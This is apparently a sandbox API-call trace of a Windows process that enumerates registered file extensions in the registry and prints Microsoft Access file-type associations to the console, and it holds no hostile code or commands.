	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6c, lpName=0x20f590, cchName=0x104 | out: lpName=".docmhtml") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6d, lpName=0x20f590, cchName=0x104 | out: lpName=".docx") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6e, lpName=0x20f590, cchName=0x104 | out: lpName=".docxml") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6f, lpName=0x20f590, cchName=0x104 | out: lpName=".dos") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x70, lpName=0x20f590, cchName=0x104 | out: lpName=".dot") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x71, lpName=0x20f590, cchName=0x104 | out: lpName=".dothtml") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x72, lpName=0x20f590, cchName=0x104 | out: lpName=".dotm") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x73, lpName=0x20f590, cchName=0x104 | out: lpName=".dotx") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x74, lpName=0x20f590, cchName=0x104 | out: lpName=".dqy") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x75, lpName=0x20f590, cchName=0x104 | out: lpName=".drv") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x76, lpName=0x20f590, cchName=0x104 | out: lpName=".dsn") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x77, lpName=0x20f590, cchName=0x104 | out: lpName=".dsp") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x78, lpName=0x20f590, cchName=0x104 | out: lpName=".dsw") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x79, lpName=0x20f590, cchName=0x104 | out: lpName=".DVR") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7a, lpName=0x20f590, cchName=0x104 | out: lpName=".DVR-MS") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7b, lpName=0x20f590, cchName=0x104 | out: lpName=".dwfx") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7c, lpName=0x20f590, cchName=0x104 | out: lpName=".easmx") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7d, lpName=0x20f590, cchName=0x104 | out: lpName=".edrwx") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7e, lpName=0x20f590, cchName=0x104 | out: lpName=".elm") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7f, lpName=0x20f590, cchName=0x104 | out: lpName=".emf") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x80, lpName=0x20f590, cchName=0x104 | out: lpName=".eml") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x81, lpName=0x20f590, cchName=0x104 | out: lpName=".eprtx") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x82, lpName=0x20f590, cchName=0x104 | out: lpName=".eps") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x83, lpName=0x20f590, cchName=0x104 | out: lpName=".etp") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x84, lpName=0x20f590, cchName=0x104 | out: lpName=".evt") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x85, lpName=0x20f590, cchName=0x104 | out: lpName=".evtx") returned 0x0
	[0056.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x86, lpName=0x20f590, cchName=0x104 | out: lpName=".exc") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x87, lpName=0x20f590, cchName=0x104 | out: lpName=".exe") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x88, lpName=0x20f590, cchName=0x104 | out: lpName=".exp") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x89, lpName=0x20f590, cchName=0x104 | out: lpName=".ext") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8a, lpName=0x20f590, cchName=0x104 | out: lpName=".ex_") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8b, lpName=0x20f590, cchName=0x104 | out: lpName=".eyb") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8c, lpName=0x20f590, cchName=0x104 | out: lpName=".faq") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8d, lpName=0x20f590, cchName=0x104 | out: lpName=".fdf") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8e, lpName=0x20f590, cchName=0x104 | out: lpName=".fdm") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8f, lpName=0x20f590, cchName=0x104 | out: lpName=".fif") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x90, lpName=0x20f590, cchName=0x104 | out: lpName=".fky") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x91, lpName=0x20f590, cchName=0x104 | out: lpName=".fnd") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x92, lpName=0x20f590, cchName=0x104 | out: lpName=".fnt") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x93, lpName=0x20f590, cchName=0x104 | out: lpName=".fon") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x94, lpName=0x20f590, cchName=0x104 | out: lpName=".gadget") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x95, lpName=0x20f590, cchName=0x104 | out: lpName=".gcsx") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x96, lpName=0x20f590, cchName=0x104 | out: lpName=".ghi") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x97, lpName=0x20f590, cchName=0x104 | out: lpName=".gif") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x98, lpName=0x20f590, cchName=0x104 | out: lpName=".glox") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x99, lpName=0x20f590, cchName=0x104 | out: lpName=".gmmp") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9a, lpName=0x20f590, cchName=0x104 | out: lpName=".gqsx") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9b, lpName=0x20f590, cchName=0x104 | out: lpName=".gra") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9c, lpName=0x20f590, cchName=0x104 | out: lpName=".group") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9d, lpName=0x20f590, cchName=0x104 | out: lpName=".grp") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9e, lpName=0x20f590, cchName=0x104 | out: lpName=".gz") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9f, lpName=0x20f590, cchName=0x104 | out: lpName=".h") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa0, lpName=0x20f590, cchName=0x104 | out: lpName=".H1C") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa1, lpName=0x20f590, cchName=0x104 | out: lpName=".H1D") returned 0x0
	[0056.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa2, lpName=0x20f590, cchName=0x104 | out: lpName=".H1F") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa3, lpName=0x20f590, cchName=0x104 | out: lpName=".H1H") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa4, lpName=0x20f590, cchName=0x104 | out: lpName=".H1K") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa5, lpName=0x20f590, cchName=0x104 | out: lpName=".H1Q") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa6, lpName=0x20f590, cchName=0x104 | out: lpName=".H1S") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa7, lpName=0x20f590, cchName=0x104 | out: lpName=".H1T") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa8, lpName=0x20f590, cchName=0x104 | out: lpName=".H1V") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa9, lpName=0x20f590, cchName=0x104 | out: lpName=".H1W") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaa, lpName=0x20f590, cchName=0x104 | out: lpName=".hdp") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xab, lpName=0x20f590, cchName=0x104 | out: lpName=".hhc") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xac, lpName=0x20f590, cchName=0x104 | out: lpName=".hlp") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xad, lpName=0x20f590, cchName=0x104 | out: lpName=".hol") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xae, lpName=0x20f590, cchName=0x104 | out: lpName=".hpp") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaf, lpName=0x20f590, cchName=0x104 | out: lpName=".hqx") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb0, lpName=0x20f590, cchName=0x104 | out: lpName=".hta") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb1, lpName=0x20f590, cchName=0x104 | out: lpName=".htc") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb2, lpName=0x20f590, cchName=0x104 | out: lpName=".htm") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb3, lpName=0x20f590, cchName=0x104 | out: lpName=".html") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb4, lpName=0x20f590, cchName=0x104 | out: lpName=".htt") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb5, lpName=0x20f590, cchName=0x104 | out: lpName=".htw") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb6, lpName=0x20f590, cchName=0x104 | out: lpName=".htx") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb7, lpName=0x20f590, cchName=0x104 | out: lpName=".hxa") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb8, lpName=0x20f590, cchName=0x104 | out: lpName=".hxc") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb9, lpName=0x20f590, cchName=0x104 | out: lpName=".hxd") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xba, lpName=0x20f590, cchName=0x104 | out: lpName=".hxe") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbb, lpName=0x20f590, cchName=0x104 | out: lpName=".hxf") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbc, lpName=0x20f590, cchName=0x104 | out: lpName=".hxh") returned 0x0
	[0056.286] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbd, lpName=0x20f590, cchName=0x104 | out: lpName=".hxi") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbe, lpName=0x20f590, cchName=0x104 | out: lpName=".hxk") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbf, lpName=0x20f590, cchName=0x104 | out: lpName=".hxq") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc0, lpName=0x20f590, cchName=0x104 | out: lpName=".hxr") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc1, lpName=0x20f590, cchName=0x104 | out: lpName=".hxs") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc2, lpName=0x20f590, cchName=0x104 | out: lpName=".hxt") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc3, lpName=0x20f590, cchName=0x104 | out: lpName=".hxv") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc4, lpName=0x20f590, cchName=0x104 | out: lpName=".hxw") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc5, lpName=0x20f590, cchName=0x104 | out: lpName=".hxx") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc6, lpName=0x20f590, cchName=0x104 | out: lpName=".i") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc7, lpName=0x20f590, cchName=0x104 | out: lpName=".ibq") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc8, lpName=0x20f590, cchName=0x104 | out: lpName=".icc") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc9, lpName=0x20f590, cchName=0x104 | out: lpName=".icl") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xca, lpName=0x20f590, cchName=0x104 | out: lpName=".icm") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcb, lpName=0x20f590, cchName=0x104 | out: lpName=".ico") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcc, lpName=0x20f590, cchName=0x104 | out: lpName=".ics") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcd, lpName=0x20f590, cchName=0x104 | out: lpName=".idl") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xce, lpName=0x20f590, cchName=0x104 | out: lpName=".idq") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcf, lpName=0x20f590, cchName=0x104 | out: lpName=".ilk") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd0, lpName=0x20f590, cchName=0x104 | out: lpName=".imc") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd1, lpName=0x20f590, cchName=0x104 | out: lpName=".img") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd2, lpName=0x20f590, cchName=0x104 | out: lpName=".inc") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd3, lpName=0x20f590, cchName=0x104 | out: lpName=".inf") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd4, lpName=0x20f590, cchName=0x104 | out: lpName=".ini") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd5, lpName=0x20f590, cchName=0x104 | out: lpName=".inl") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd6, lpName=0x20f590, cchName=0x104 | out: lpName=".inv") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd7, lpName=0x20f590, cchName=0x104 | out: lpName=".inx") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd8, lpName=0x20f590, cchName=0x104 | out: lpName=".in_") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd9, lpName=0x20f590, cchName=0x104 | out: lpName=".iqy") returned 0x0
	[0056.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xda, lpName=0x20f590, cchName=0x104 | out: lpName=".iso") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdb, lpName=0x20f590, cchName=0x104 | out: lpName=".IVF") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdc, lpName=0x20f590, cchName=0x104 | out: lpName=".jar") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdd, lpName=0x20f590, cchName=0x104 | out: lpName=".jav") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xde, lpName=0x20f590, cchName=0x104 | out: lpName=".java") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdf, lpName=0x20f590, cchName=0x104 | out: lpName=".jbf") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe0, lpName=0x20f590, cchName=0x104 | out: lpName=".jfif") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe1, lpName=0x20f590, cchName=0x104 | out: lpName=".jnlp") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe2, lpName=0x20f590, cchName=0x104 | out: lpName=".jnt") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe3, lpName=0x20f590, cchName=0x104 | out: lpName=".Job") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe4, lpName=0x20f590, cchName=0x104 | out: lpName=".jod") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe5, lpName=0x20f590, cchName=0x104 | out: lpName=".jpe") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe6, lpName=0x20f590, cchName=0x104 | out: lpName=".jpeg") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe7, lpName=0x20f590, cchName=0x104 | out: lpName=".jpg") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe8, lpName=0x20f590, cchName=0x104 | out: lpName=".js") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe9, lpName=0x20f590, cchName=0x104 | out: lpName=".JSE") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xea, lpName=0x20f590, cchName=0x104 | out: lpName=".jtp") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xeb, lpName=0x20f590, cchName=0x104 | out: lpName=".jtx") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xec, lpName=0x20f590, cchName=0x104 | out: lpName=".kci") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xed, lpName=0x20f590, cchName=0x104 | out: lpName=".label") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xee, lpName=0x20f590, cchName=0x104 | out: lpName=".laccdb") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xef, lpName=0x20f590, cchName=0x104 | out: lpName=".latex") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf0, lpName=0x20f590, cchName=0x104 | out: lpName=".ldb") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf1, lpName=0x20f590, cchName=0x104 | out: lpName=".lex") returned 0x0
	[0056.288] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf2, lpName=0x20f590, cchName=0x104 | out: lpName=".lgn") returned 0x0
	[0056.289] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf3, lpName=0x20f590, cchName=0x104 | out: lpName=".lib") returned 0x0
	[0056.289] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf4, lpName=0x20f590, cchName=0x104 | out: lpName=".library-ms") returned 0x0
	[0056.289] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf5, lpName=0x20f590, cchName=0x104 | out: lpName=".lnk") returned 0x0
	[0056.289] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf6, lpName=0x20f590, cchName=0x104 | out: lpName=".local") returned 0x0
	[0056.289] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf7, lpName=0x20f590, cchName=0x104 | out: lpName=".log") returned 0x0
	[0056.289] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf8, lpName=0x20f590, cchName=0x104 | out: lpName=".lst") returned 0x0
	[0056.289] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf9, lpName=0x20f590, cchName=0x104 | out: lpName=".m14") returned 0x0
	[0056.290] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.290] GetFileType (hFile=0x5c) returned 0x3
	[0056.290] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.290] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ACCDAExtension.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ACCDAExtension.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 104
	[0056.290] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x67, lpOverlapped=0x0) returned 1
	[0056.291] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.291] GetFileType (hFile=0x5c) returned 0x3
	[0056.291] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.291] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ACCDCFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ACCDCFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 101
	[0056.291] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x64, lpOverlapped=0x0) returned 1
	[0056.291] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.291] GetFileType (hFile=0x5c) returned 0x3
	[0056.291] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.291] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ACCDEFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ACCDEFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 125
	[0056.291] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7c, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x7c, lpOverlapped=0x0) returned 1
	[0056.291] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.291] GetFileType (hFile=0x5c) returned 0x3
	[0056.291] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.291] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ACCDRFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /RUNTIME \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ACCDRFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /RUNTIME \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 123
	[0056.291] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x7a, lpOverlapped=0x0) returned 1
	[0056.291] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.292] GetFileType (hFile=0x5c) returned 0x3
	[0056.292] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.292] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ACCDTFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ACCDTFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 101
	[0056.292] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x64, lpOverlapped=0x0) returned 1
	[0056.292] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.292] GetFileType (hFile=0x5c) returned 0x3
	[0056.292] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.292] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ADEFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ADEFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 123
	[0056.292] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x7a, lpOverlapped=0x0) returned 1
	[0056.292] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.292] GetFileType (hFile=0x5c) returned 0x3
	[0056.292] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.292] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.Application.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.Application.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 127
	[0056.292] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7e, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x7e, lpOverlapped=0x0) returned 1
	[0056.292] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.292] GetFileType (hFile=0x5c) returned 0x3
	[0056.292] _get_osfhandle (_FileHandle=1) returned 0x5c
